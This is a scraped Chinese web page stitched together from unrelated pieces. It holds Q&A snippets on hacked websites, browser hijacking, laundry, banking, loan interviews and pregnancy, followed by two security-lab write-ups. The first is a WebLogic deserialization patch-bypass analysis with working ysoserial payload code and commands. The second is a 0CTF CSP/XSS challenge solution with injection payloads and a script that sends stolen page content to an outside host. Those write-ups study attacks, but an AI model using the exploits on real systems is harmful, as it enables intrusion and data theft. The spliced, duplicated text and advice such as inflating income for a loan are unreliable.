官网网站详情中被手机页面无法加入链接接,容易被黑吗

绵中官网咋进不去了啊?被黑了么?_百度知道
绵中官网咋进不去了啊?被黑了么?
我有更好的答案
好像是被黑了,建议立即通知网站的管理员做好网站防黑的措施,下面是关于安全方面的一些建议!建站一段时间后总能听得到什么什么网站被挂马,什么网站被黑,被攻击。好像入侵挂马似乎是件很简单的事情。其实,入侵不简单,简单的是你的网站的必要安全措施并未做好。有条件建议找专业做网站安全的sine安全来做安全维护。一:挂马预防措施:1、建议用户通过ftp来上传、维护网页,尽量不安装asp的上传程序。2、定期对网站进行安全的检测,具体可以利用网上一些工具,如sinesafe网站挂马检测工具!序,只要可以上传文件的asp都要进行身份认证!3、asp程序管理员的用户名和密码要有一定复杂性,不能过于简单,还要注意定期更换。4、到正规网站下载asp程序,下载后要对其数据库名称和存放路径进行修改,数据库文件名称也要有一定复杂性。5、要尽量保持程序是最新版本。6、不要在网页上加注后台管理程序登陆页面的链接。7、为防止程序有未知漏洞,可以在维护后删除后台管理程序的登陆页面,下次维护时再通过ftp上传即可。8、要时常备份数据库等重要文件。9、日常要多维护,并注意空间中是否有来历不明的asp文件。记住:一分汗水,换一分安全!10、一旦发现被入侵,除非自己能识别出所有木马文件,否则要删除所有文件。11、对asp上传程序的调用一定要进行身份认证,并只允许信任的人使用上传程序。这其中包括各种新闻发布、商城及论坛程二:挂马恢复措施:1.修改帐号密码不管是商业或不是,初始密码多半都是admin。因此你接到网站程序第一件事情就是“修改帐号密码”。帐号密码就不要在使用以前你习惯的,换点特别的。尽量将字母数字及符号一起。此外密码最好超过15位。尚若你使用SQL的话应该使用特别点的帐号密码,不要在使用什么什么admin之类,否则很容易被入侵。2.创建一个robots.txtRobots能够有效的防范利用搜索引擎窃取信息的骇客。3.修改后台文件第一步:修改后台里的验证文件的名称。第二步:修改conn.asp,防止非法下载,也可对数据库加密后在修改conn.asp。第三步:修改ACESS数据库名称,越复杂越好,可以的话将数据所在目录的换一下。4.限制登陆后台IP此方法是最有效的,每位虚拟主机用户应该都有个功能。你的IP不固定的话就麻烦点每次改一下咯,安全第一嘛。5.自定义404页面及自定义传送ASP错误信息404能够让骇客批量查找你的后台一些重要文件及检查网页是否存在注入漏洞。ASP错误嘛,可能会向不明来意者传送对方想要的信息。6.慎重选择网站程序注意一下网站程序是否本身存在漏洞,好坏你我心里该有把秤。7.谨慎上传漏洞据悉,上传漏洞往往是最简单也是最严重的,能够让黑客或骇客们轻松控制你的网站。可以禁止上传或着限制上传的文件类型。不懂的话可以找专业做网站安全的sinesafe公司。8. cookie 保护登陆时尽量不要去访问其他站点,以防止 cookie 泄密。切记退出时要点退出在关闭所有浏览器。9.目录权限请管理员设置好一些重要的目录权限,防止非正常的访问。如不要给上传目录执行脚本权限及不要给非上传目录给于写入权。10.自我测试如今在网上黑客工具一箩筐,不防找一些来测试下你的网站是否OK。11.例行维护a.定期备份数据。最好每日备份一次,下载了备份文件后应该及时删除主机上的备份文件。b.定期更改数据库的名字及管理员帐密。c.借WEB或FTP管理,查看所有目录体积,最后修改时间以及文件数,检查是文件是否有异常,以及查看是否有异常的账号。网站被挂马一般都是网站程序存在漏洞或者服务器安全性能不达标被不法黑客入侵攻击而挂马的。网站被挂马是普遍存在现象然而也是每一个网站运营者的心腹之患。您是否因为网站和服务器天天被入侵挂马等问题也曾有过想放弃的想法呢,您否也因为不太了解网站技术的问题而耽误了网站的运营,您是否也因为精心运营的网站反反复复被一些无聊的黑客入侵挂马感到徬彷且很无耐。有条件建议找专业做网站安全的sine安全来做安全维护。
为您推荐:
其他类似问题
您可能关注的内容
qq飞车的相关知识
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。伴随着育儿理念和消费理念的不断升级,孩子在成长过程中所涉及的衣食住行等各个方
已有 286000 个品牌入驻
总计 129220 条加盟意向
发表了 39000 条品牌评价
网友好评品牌
9.8/2144点评
9.8/2035点评
9.8/2022点评
9.8/1985点评
9.7/1992点评
9.7/1952点评
9.6/1769点评
9.6/1832点评
9.5/1588点评
9.5/1208点评
人气值:57217
人气值:38623
人气值:22995
人气值:21072
人气值:19465
人气值:18376
人气值:17863
人气值:16379
人气值:16023
人气值:15900
新锐品牌排行
粉丝数:2326
粉丝数:2234
粉丝数:1941
粉丝数:1842
粉丝数:1541
粉丝数:1234
粉丝数:1116
粉丝数:1095
粉丝数:954
粉丝数:931
知名品牌SHOW
最新入驻品牌
诚信品牌认证专区
* 最新通过诚信认证的品牌和企业
最新加盟意向
成为中国品牌网高级会员,手机第一时间接收意向
Brand service
最新发布的品牌服务项目
企业会员品牌通过审核以后均可免费发布品牌服务
Exhibition
注册企业会员即可
Information
中国品牌网
2005 - 2018 中国品牌网(www.chinapp.com) 未经授权 禁止复制转载 版权所有
注册号:56619E
如有意见、反馈或投诉等情况,E-mail:
(请将#替换成@)请联系我们将会在48小时内给与处理!我的IE收藏夹里面无缘无故被添加了很多网址,删了之后又会出现,怎么办啊?有什么云网,卓越网,领你上上网,P2P分享,当当网,删完又出来,还有我的主页也老被别的所占用,怎么办啊?
使用IE修复和里面的反间谍专家即可
其他答案(共1个回答)
浏览器被恶意网站盗连
所以
你可以使用“上网助手”或者“卡卡助手”修复IE浏览器,就可以了
根据提示很容易操作的
删除可能没成功,因为只要删除到了回收站,是不会自己再主动回来了。
还有个可能,就是有木马或者恶意程序自己添加的。
1.系统重新安装时被添加
直接删除就可以了
2.访问某些网站时被添加
如果你是使用WINDOWS XP
点浏览器的工具-Internet选项-隐私-弹出窗口阻止...
我来回答吧 把这个WORLD 文档保存为 WEB页
但是要注意 我发现你的每行都是SHIFT+ENTER 的形式结束的 吧?
最好每行都是回车
保存为WEB页 ...
风云谷IE收藏夹备份与还原 V1.0
试一下这个!
请先在我的共享资料中下载“360安全卫士”,在“安全模式”下安装并清理,然后用“漏洞扫描”打上补丁。
一,是木马,在我的共享资料下载ewido anti-spy...
答: 做前端男女都有的。我们公司男女比例差不多。美工设计、制作页面都属于WEB前端。很多在学校学习设计的也可以做网页前端。但是都需要学习一段时间的。HTML和DIV、...
答: 这个有很多
答: 找到对方的IP,输入IE地址里就行了!
如何洗衣服?也许有人会说,衣服谁不会洗啊?放到水里,加点洗衣粉洗就成了呗。是啊,说是这样说,可是洗衣服还有不少学问呢。我就说说我的“洗衣经”吧。
说起洗衣服,想想真有不少要说的呢。
首先要分开洗。内衣外衣、深色浅色要分开。个人和个人的衣物也尽量分开洗涤,这样可以防止不同人体间细菌和病菌的相互交叉感染,尤其是宿舍或者朋友的衣服尽量不要放置在一起洗。即使是自己的衣服,内衣和外衣也要分开洗。因为外衣接触外界的污染和尘土较多,而内衣将直接接触皮肤,为避免外界尘螨等对皮肤的不良入侵,内外分开洗涤是有科学道理的。不同颜色的衣物要分开洗涤,可将颜色相近的一同洗涤,浅色的一起洗涤,容易掉色的单独洗涤,避免衣物因脱色而损坏。另外,袜子和其他衣物不要一起洗涤。
其次,使用洗衣粉宜提浸泡一会。洗衣粉功效的发挥不同于肥皂,只有衣物适时浸泡才能发挥最大的洗涤效果。浸泡时间也不宜太长,一般20分钟左右。时间太长,洗涤效果也不好,而且衣物易褶皱。有人洗衣服时把洗衣粉直接撒在衣物上便开始搓揉洗涤,那样不能发挥最好的洗涤效果,对洗衣粉是一种浪费,当然,免浸泡洗衣粉出外。另外,冬季一般宜使用温水浸泡衣物。水温过低,不能有效发挥洗衣粉的洗涤效果,水温太高,会破坏洗衣粉中的活性成分,也不利于洗涤。
再次,衣物及时更换,及时洗涤。衣服要及时更换,相信道理大家应该都很清楚。可是,衣物换下后应该及时清洗,有人却做的不好。好多家庭喜欢将换的衣服积攒起来,每周洗一次,这样很不科学,容易使衣物上积聚的细菌大量繁殖,容易诱发皮疹或皮肤瘙痒症状。为了个人和家人的身体健康,还是勤快一点,把及时换下的衣物及时洗涤,这样,其实也费不了多少时间,也不至于最后要花费半天甚至更长 的时间专门来洗涤大量的衣物要节约的多。另外衣服穿的太久就比较脏,要花很大的力气洗涤才能洗干净,也容易将衣物搓揉变形,而影响美观和穿着效果。
洗衣服是个简单的小家务,也是生活中不可缺少的一件事,学问却很多,也许您的“洗衣心得”比这还要科学,还要多样,欢迎您 的指正~~
你用的是工行的卡吗?到工行网站问了一下,下面是它们版主的回答——您好~
1、您可以拨打95588或通过网上银行等渠道查询消费明细。
2、若您的信用卡开通了网上银行。请您按照以下地址进行登录。工行网站地址: 点击“个人网上银行登录”或工行个人网上银行地址: 按照系统提示输入相关信息后即可登录。
“网页错误”请您进行以下操作:
(1)打开IE浏览器,选择“工具”菜单--&“Internet选项”--&“高级”标签--&点击“还原默认设置”,点击“确定”后关闭所有IE浏览器窗口;
(2)打开IE浏览器,选择“工具”菜单--&“Internet选项”--&“常规”标签--&Internet临时文件设置中的“检查所存网页的较新版本”选择“每次访问此页时检查”。并在Internet临时文件设置中点击“删除文件”,在“删除所有脱机内容”前打勾后点击确定关闭对话框,关闭所有IE窗口;
(3)打开IE浏览器,选择“工具”菜单--&“Internet选项”--&“安全”标签,在“请为不同区域的Web内容制定安全设置(z)”窗口内选择“Internet”,然后选择“自定义级别”,将“Activex控件和插件”中“下载已签名的Activex控件”、“运行Activex控件”等设置为“启用”或“提示”,点击确定后,请重新启动电脑;
(4)若您安装了3721上网助手之类的软件,请您将其完全卸载;
(5)请登录工行门户网站 ,点击“个人网上银行登录”下方的“下载”。进入下一个页面后,下载并安装控件程序。
(6)若仍无法正常使用,建议您重新安装IE6.0或以上版本的IE浏览器,并使用WINDOWS系统的UPDATE功能安装补丁。
3、您可以通过网上银行查看对账单进行还款。
4、是可以的。您需要通过网上银行办理跨行转账业务。
如果您想在网上办理跨行汇款,请使用“工行与他行转账汇款”功能,您除了需要申请开通网上银行对外转账功能,还需要您所在地区开通网上跨行汇款功能。若未开通,那么在操作时系统会提示您的(国际卡及香港信用卡无法使用此功能)。
从日起,柜台注册且未申请U盾或口令卡的客户,单笔交易限额、日累计限额以及总支付交易限额均为300元,9月1日前支付额度已经达到300元的客户需到网点申请电子口令卡或U盾(从注册日起计算支付额)。
若目前已达到交易限额但急需支付,建议您可通过下列方法变更交易限额:
1.申请U盾。u盾客户不再受交易限额和支付次数的限制。此外,使用u盾,您可以享受签订理财协议等服务项目,并在您原有使用基础上大大加强了安全性。如需办理U盾,请您本人携带有效身份证件和网上银行注册卡到当地指定网点办理U盾,办理手续及网点信息请您当地95588服务热线联系咨询。
2.申办口令卡。您本人可持有效身份证件、网上银行注册卡到当地指定网点申办口令卡。申办电子口令卡后,个人网上银行单笔交易限额1000元;日累计交易限额5000元,没有总支付额度控制;电子银行口令卡的使用次数为1000次(以客户输入正确的密码字符并通过系统验证为一次),达到使用次数后即不能使用,请及时到我行营业网点办理申领新卡手续。
要有经营场所,办理工商登记(办理卫生许可),如果觉得有必要还要到税务局买定额发票,不过奶茶店一般人家消费是不会要发票的巴,要买设备,要联系供应商备一些原料,就好啦,没啥难的,不过要赚钱的话就得选好开店地段。
办理手续的程序(申领个体执照):
1、前往工商所申请办理
2、根据工商所通知(申请办理当场就会给你个小纸条)前往办理名称预核
3、拿到名称预核通知书,办理卫生许可证(前往所在地卫生监督所办理)
4、拿着名称预核通知书和卫生许可证前往工商所核发营业执照。
销售额:指企业在销售商品、提供劳务及让渡资产使用权等日常活动中所形成的经济利益的总流入。税法上这一概念是不含任何税金的收入。销售额适用于制造业、商业等。
营业额会计上指的是营业收入,税法指的是应税营业收入。营业额属于含税收入,适用于饮食业、运输业、广告业、娱乐业、建筑安装业等 。
银行贷款面签所需准备的材料
一般银行贷款所需准备的材料销售人员都会给到,按照销售给到的去准备总是没错的,但是对于一些无房证明已经婚育证明也会根据不同的要求不同,具体还是要问所贷款的银行,有时候销售不走心,还是自己上心一点比较好
银行面签注意事项
其实在面签时不必紧张,只要你的资料核实可以通过就没什么问题了。稍微美化一点关于收入也是没有什么问题的。
注销公积金账户并进行提取,3个月内会到职工公积金联名卡所在的银行账户内。携带资料以下4样:
1.住房公积金提取申请表,一式三份; 2.住房公积金提取凭证,一式四联,加盖财务章; 3.劳动关系解除协议原件及复印件;
4.本人身份证及复印件。
银行卡开通网上银行、手机银行、电话银行等渠道交易时,需要预留一个支付密码,用来对外转账支付用的,这个密码不是查询密码,也不是网上银行的登陆密码。工行手机银行“支付密码”是您通过手机银行(WAP)办理对外转账汇款、缴费付款、消费支付等业务时使用的密码。支付密码包括动态密码和自设密码两种类型。动态密码是指口令卡密码,如果您是自设密码客户,在办理对外支付交易时必须申领电子银行口令卡。
孕妇吸烟会使胎儿的血液循环发生异常,并引起红细胞增多以及组织慢性缺氧,最终导致出生后血压增高,而血压增高可能是新生儿眼底视网膜病变的一个危险诱因。
一项调查结果显示,吸烟孕妇所生的新生儿,他们发生眼底视网膜动脉狭窄和硬化,静脉扩张、迂曲及视网膜内出血的几率,比那些不吸烟孕妇所生的孩子大为增加。
迪曲及摇滚乐都属于过分激烈的音乐,长期听这种音乐,会使孕妇的神经系统受到强烈的刺激,并破坏心脏及血管系统的正常功能,使人体中去甲肾上腺素的分泌增多,从而使孕妇子宫平滑肌收缩,造成胎儿血液循环受阻,胎盘供血不足,引起胎儿发育不良,同时这也是造成流产或早产的原因之一。
我用的就是国产的化妆品,伊肤丽佰,效果很不错。
朋友家用的是优掌柜的,他也推荐我买那个牌子,我在他店里用过一下,真的挺不错的。
成都中山职业技术学校的幼师专业非常好,学校是公办。免学费的,地址在成都双流,我把他们学校李老师电话给你:
QQ和微信:
你只要找个技校甄选考《汽车修理中级证》就可以了!培训和考试费大概要960 元!
格兰特,作为管道行业科技创新的新锐先锋,秉承着恒久不变的前瞻特质,以“亲水·亲情·亲生活”的品牌理念,致力于“国际绿色健康输水系统”的建设,将创新科技、节能环保、时尚设计完美结合制造高标准、高品质、高效率、高服务的输水管道解决方案,为全球消费者提供最大化的健康水环境 并引领着中国管道行业高水准时代。
正在加载...
Copyright &
Corporation, All Rights Reserved
确定举报此问题
举报原因(必选):
广告或垃圾信息
激进时政或意识形态话题
不雅词句或人身攻击
侵犯他人隐私
其它违法和不良信息
报告,这不是个问题
报告原因(必选):
这不是个问题
这个问题分类似乎错了
这个不是我熟悉的地区
相关问答:123456789101112131415更好更安全的互联网
作者:Badcode@知道创宇404实验室
日,Oracle官方发布了4月份的安全补丁更新CPU(Critical Patch Update),更新中修复了一个高危的 WebLogic 反序列化漏洞CVE-。攻击者可以在未授权的情况下通过T3协议对存在漏洞的 WebLogic 组件进行远程攻击,并可获取目标系统所有权限。
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
Weblogic 反序列化漏洞历程
这里简单的说下几个有公开利用方式的Weblogic反序列化漏洞。
日,FoxGlove Security 安全团队的
发布的一篇博客中介绍了如何利用Java反序列化和 Apache Commons Collections 这一基础类库来攻击最新版的 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS 这些大名鼎鼎的Java应用,实现远程代码执行。CVE-就是利用 Weblogic 中的Commons Collections 库来实现远程代码执行。查看了CVE-的补丁(p6_Generic),发现 Weblogic 采用的黑名单的形式来修复这个漏洞。
但是这种修复方式很被动,存在被绕过的风险,只要发现可用并且未在黑名单之外的反序列化类,那么之前的防护就会被打破,系统遭受攻击。而后的漏洞也证明了这一点。
Weblogic的反序列化的点有着三个,黑名单ClassFilter.class也作用于这三个位置。
weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
有人发现利用weblogic.jms.common.StreamMessageImpl的 readExternal()也是可以进行反序列化操作的,而且这个不受黑名单限制,所以可以绕过了之前的补丁。
原理是将反序列化的对象封装进了weblogic.corba.utils.MarshalledObject,然后再对 MarshalledObject进行序列化,生成 payload 字节码。反序列化时 MarshalledObject 不在 WebLogic 黑名单里,可正常反序列化,在反序列化时 MarshalledObject对象调用 readObject 时对 MarshalledObject 封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。
Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。
这个漏洞就是利用 RMI 机制的缺陷,通过 JRMP 协议达到执行任意反序列化 payload 的目的。使用 ysoserial
的 JRMPLister,这将会序列化一个 RemoteObjectInvocationHandler,该RemoteObjectInvocationHandler使用UnicastRef建立到远端的 TCP 连接获取RMI registry。 此连接使用 JRMP 协议,因此客户端将反序列化服务器响应的任何内容,从而实现未经身份验证的远程代码执行。
CVE- 漏洞分析
首先我们来看以下 CVE- 这个漏洞的补丁(p6_Generic),在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一个resolveProxyClass,这个resolveProxyClass只是对 RMI 接口类型进行了判断,判断 RMI 接口是否为java.rmi.registry.Registry,是的话抛出错误。这里,换个RMI 接口类型即可绕过这个补丁。可以使用java.rmi.activation.Activator来替代java.rmi.registry.Registry生成payload,即可绕过这个判断限制。
仿照JRMPClient写一个JRMPClient2,重新编译。
public class JRMPClient2 extends PayloadRunner implements ObjectPayload {
public Activator getObject ( final String command ) throws Exception {
int sep = command.indexOf(':');
if ( sep & 0 ) {
port = new Random().nextInt(65535);
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
Activator.class
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
PayloadRunner.run(JRMPClient2.class, args);
12345678910111213141516171819202122232425262728293031
public class JRMPClient2 extends PayloadRunner implements ObjectPayload {&&&&&public Activator getObject ( final String command ) throws Exception {&&&&&&&&&String host;&&&&&&&&int port;&&&&&&&&int sep = command.indexOf(':');&&&&&&&&if ( sep < 0 ) {&&&&&&&&&&&&port = new Random().nextInt(65535);&&&&&&&&&&&&host = command;&&&&&&&&}&&&&&&&&else {&&&&&&&&&&&&host = command.substring(0, sep);&&&&&&&&&&&&port = Integer.valueOf(command.substring(sep + 1));&&&&&&&&}&&&&&&&&ObjID id = new ObjID(new Random().nextInt()); // RMI registry&&&&&&&&TCPEndpoint te = new TCPEndpoint(host, port);&&&&&&&&UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));&&&&&&&&RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);&&&&&&&&Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {&&&&&&&&&&&&Activator.class&&&&&&&&}, obj);&&&&&&&&return proxy;&&&&}&&&&&&public static void main ( final String[] args ) throws Exception {&&&&&&&&Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());&&&&&&&&PayloadRunner.run(JRMPClient2.class, args);&&&&}}
生成 payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient2 "192.168.177.1:1099" & p_client2
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient2 "192.168.177.1:1099" > p_client2
可以对比以下JRMPClient 和JRMPClient2 生成的 payload。
除了 RMI 接口不一样,其他都是一样的。
JRMPLister开启
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"
我测试的 Weblogic 版本是10.3.6.0.170117,即已修复了CVE-漏洞,在我本地的环境中,CommonsCollections这个 payload 已经失效了。Weblogic 的commons-collections.jar版本已经升级,所以我这里 payload 用的是Jdk7u21(这个 payload 只有在 JRE 版本小于等于 1.7u21 才起作用)。在commons-collections.jar版本没有升级的 Weblogic 中,使用CommonsCollections 这个 payload 是可以的。
使用 t3 协议脚本发送 p_client2,可以看到JRMPLister有请求过来了,客户端命令也执行成功了。
作为对比,将JRMPClient生成的 p_client 也发送过去,可以看到报错信息Unauthorized proxy deserialization,正是黑名单拦截抛出的错误。
可见java.rmi.activation.Activator是绕过了CVE-的补丁了。
另外一种绕过补丁的方式
这种方式是我在复现漏洞时尝试 payload 的时候发现的,绕过的方式和CVE-有关。
StreamMessageImpl这个点在反序列化的时候没有resolveProxyClass检查。所以可以使用StreamMessageImpl将RemoteObjectInvocationHandler序列化,以此来绕过resolveProxyClass函数。相当于使用CVE-的利用方式加上CVE-的 payload 来绕过补丁。
将JRMPClient生成的 payloadObject 用StreamMessageImpl封装生成新的 payload——p_stream。
public static Object streamMessageImpl(byte[] object) throws Exception {
StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setDataBuffer(object, object.length);
return streamM
&&&&public static Object streamMessageImpl(byte[] object) throws Exception {&&&&&&&&StreamMessageImpl streamMessage = new StreamMessageImpl();&&&&&&&&streamMessage.setDataBuffer(object, object.length);&&&&&&&&return streamMessage;&&&&}
使用脚本发送,可以看到,成功执行了命令。
CVE-补丁分析
初步比对补丁(p6_Generic),发现WeblogicFilterConfig.class的黑名单多了一个sun.rmi.server.UnicastRef。
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};
但是根据我的实际测试,命令还是可以执行成功,貌似补丁没起作用。
总的来说,Weblogic 反序列化漏洞就是在不停的修复-绕过-修复-绕过……最精彩的永远是下一个!
作者:知道创宇404实验室 | Categories: | Tags:
作者:LoRexxar’@知道创宇404实验室
刚刚4月过去的TCTF/0CTF2018一如既往的给了我们惊喜,其中最大的惊喜莫过于多道xss中Bypass CSP的题目,其中有很多应用于现代网站的防御思路。
其中bl0g提及了通过变量覆盖来调用已有代码动态插入Script标签绕过strict-dynamicCSP的利用方式。
h4xors.club2则是通过Script Gadgets和postmessage中间人来实现利用。
h4x0rs.space提及了Appcache以及Service worker配合jsonp接口实现的利用思路。
其中的很多利用思路非常精巧,值得研究。所以我花费了大量时间复现其中题目的思路以及环境,希望能给读者带来更多东西…
An extremely secure blog
Just focus on the static files. plz do not use any scanner, or your IP will be blocked.
An extremely secure blog&Just focus on the static files. plz do not use any scanner, or your IP will be blocked.
很有趣的题目,整个题的难点在于利用上
站内的功能都是比较常见的xss功能
新生成文章
article/xx 查看文章/评论
submit 提交url (start with )
flag admin可以查看到正确的flag
还有一些隐藏的条件
Content-Security-Policy:
script-src 'self' 'unsafe-inline'
Content-Security-Policy:
default-src 'none'; script-src 'nonce-hAovzHMfA+dpxVdTXRzpZq72Fjs=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'
Content-Security-Policy:script-src 'self' 'unsafe-inline'&Content-Security-Policy:default-src 'none'; script-src 'nonce-hAovzHMfA+dpxVdTXRzpZq72Fjs=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'
挺有趣的写法,经过我的测试,两个CSP分开写,是同时生效并且单独生效的,也就是与的关系。
换个说法就是,假设我们通过动态生成script标签的方式,成功绕过了第二个CSP,但我们引入了&script src="hacker.website"&,就会被第一条CSP拦截,很有趣的技巧。
从CSP我们也可以简单窥得一些利用思路,base-uri 'none'代表我们没办法通过修改根域来实现攻击,default-src 'none'这其中包含了frame-src,这代表攻击方式一定在站内实现,script-src的双限制代表我们只能通过&script&{eval_code}的方式来实现攻击,让我们接着往下看。
2、new中有一个字段是effect,是设置特效的
POST /new HTTP/1.1
Host: 202.120.7.197:8090
Connection: keep-alive
Content-Length: 35
Cache-Control: max-age=0
Origin: http://202.120.7.197:8090
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0. Safari/537.36
Accept: text/html,application/xhtml+xml,application/q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://202.120.7.197:8090/new
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,q=0.9
Cookie: BL0G_SID=vV1p59LGb01C4ys4SIFNve4d_upQrCpyykkXWmj4g-i8u2QQzngP5LIW28L0oB1_NB3cJn0TCwjdE32iBt6h
title=a&content=a&effect=nest
12345678910111213141516
POST /new HTTP/1.1Host: 202.120.7.197:8090Connection: keep-aliveContent-Length: 35Cache-Control: max-age=0Origin: http://202.120.7.197:8090Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0. Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Referer: http://202.120.7.197:8090/newAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: BL0G_SID=vV1p59LGb01C4ys4SIFNve4d_upQrCpyykkXWmj4g-i8u2QQzngP5LIW28L0oB1_NB3cJn0TCwjdE32iBt6h&title=a&content=a&effect=nest
effect字段会插入到页面中的&input type="hidden" id="effect" value="{effect_value}"&,但这里实际上是没有任何过滤的,也就是说我们可以通过闭合这个标签并插入我们想要的标签,需要注意的是,这个点只能插入70个字符。
3、login?next=这个点可以存在一个任意跳转,通过这个点,我们可以绕过submit的限制(submit的maxlength是前台限制,可以随便跳转
4、站内的特效是通过jqery的append引入的,在article.js这个文件中。
$(document).ready(function(){
$("body").append((effects[$("#effect").val()]));
$(document).ready(function(){&&&&$("body").append((effects[$("#effect").val()]));});
effects在config.js中被定义。
回顾上面的几个条件,我们可以简单的整理思路。
在不考虑0day的情况下,我们唯有通过想办法通过动态生成script标签,通过sd CSP这个点来绕过
首先我们观察xss点周围的html结构
在整站不开启任何缓存的情况下,通过插入标签的方式,唯一存在一种绕过方式就是插入&script a="
这种插入方式,如果插入点在一个原页面的script标签前的话,有几率吃掉下一个script标签的nonce属性,举个例子:
&script a=&
浏览器有一定的容错能力,他会补足不完整的标签
&script a=&...
<script a="...&浏览器有一定的容错能力,他会补足不完整的标签=====>&<script a="...
但这个操作在这里并不适用,因为中间过多无用标签,再加上即使吞了也不能有什么办法控制后面的内容,所以这里只有一种绕过方式就是dom xss。
稍微翻翻可以发现,唯一的机会就在这里
$(document).ready(function(){
$("body").append((effects[$("#effect").val()]));
$(document).ready(function(){&&&&$("body").append((effects[$("#effect").val()]));});
如果我们可以覆盖effects变量,那我们就可以向body注入标签了,这里需要一点小trick。
在js中,对于特定的form,iframe,applet,embed,object,img标签,我们可以通过设置id或者name来使得通过id或name获取标签
也就是说,我们可以通过effects获取到&form name=effects&这个标签。同理,我们就可以通过插入这个标签来注册effects这个变量。
可如果我们尝试插入这个标签后,我们发现插入的effects在接下来的config.js中被覆盖了。
这时候我们回到刚才提到的特性,浏览器有一定的容错能力,我们可以通过插入&script&,那么这个标签会自动闭合后面config.js的&/script&,那么中间的代码就会被视为js代码,被CSP拦截。
我们成功的覆盖了effects变量,紧接着我们需要覆盖effects[$("#effect").val()],这里我们选择id属性(这里其实是为了id会使用两次,可以更省位数),
所以我们尝试传入
effect=id"&&form name=effects id=&alert(1)"&
effect=id"&&form name=effects id=&alert(1)">
接下来的问题就在于怎么构造获取flag了,这里最大的问题在于怎么解决位数不够的问题,我们可以简单计算一下。
上面的payload最简化可以是
id"&&form name=effects id=&"&
id"&&form name=effects id=&">
一共有45位,我们可以操作的位数只有25位。在有限的位数下我们需要获取flag页面的内容,并返回回来,我一时间没想到什么好办法。
下面写一种来自@超威蓝猫的解法,非常有趣的思路,payload大概是这样的
id"&&form name=effects id=&$.get('/flag',e=&name=e)"&
id"&&form name=effects id=&$.get('/flag',e=&name=e)">
通过jquery get获取flag内容,通过箭头函数将返回赋值给window.name,紧接着,我们需要想办法获取这里的window.name。
这里用到一个特殊的跨域操作
这里用到了一个特殊的特性,就是window.name不跟随域变化而变化,通过window.name我们可以缓存原本的数据。
完整payload
var i=document.createElement("iframe");
i.src="http://202.120.7.197:8090/article/3503";
var state = 0;
document.body.appendChild(i);
i.onload = function (){
if(state === 1) {
var c = i.contentWindow.
location.href="http://xx?c="+c;
} else if(state === 0) {
state = 1;
i.contentWindow.location = './index.html';
12345678910111213141516
var i=document.createElement("iframe");i.src="http://202.120.7.197:8090/article/3503";i.id="a";var state = 0;document.body.appendChild(i);&i.onload = function (){ if(state === 1) { && var c = i.contentWindow.name; &&&&&&&&location.href="http://xx?c="+c;& } else if(state === 0) { && state = 1; && i.contentWindow.location = './index.html'; }}
然后通过login?next=这里来跳转到这里,成功理顺
最后分享一个本环境受限的脑洞想法(我觉得蛮有意思的
这个思路受限于当前页面CSP没有unsafe-eval,刚才说到window.name不随域变化而变化,那么我们传入payload
id"&&form name=effects id=&eval(name)"&
id"&&form name=effects id=&eval(name)">
然后在自己的服务器上设置
window.name="alert(1)";
location.href="{article_url}";
window.name="alert(1)";location.href="{article_url}";
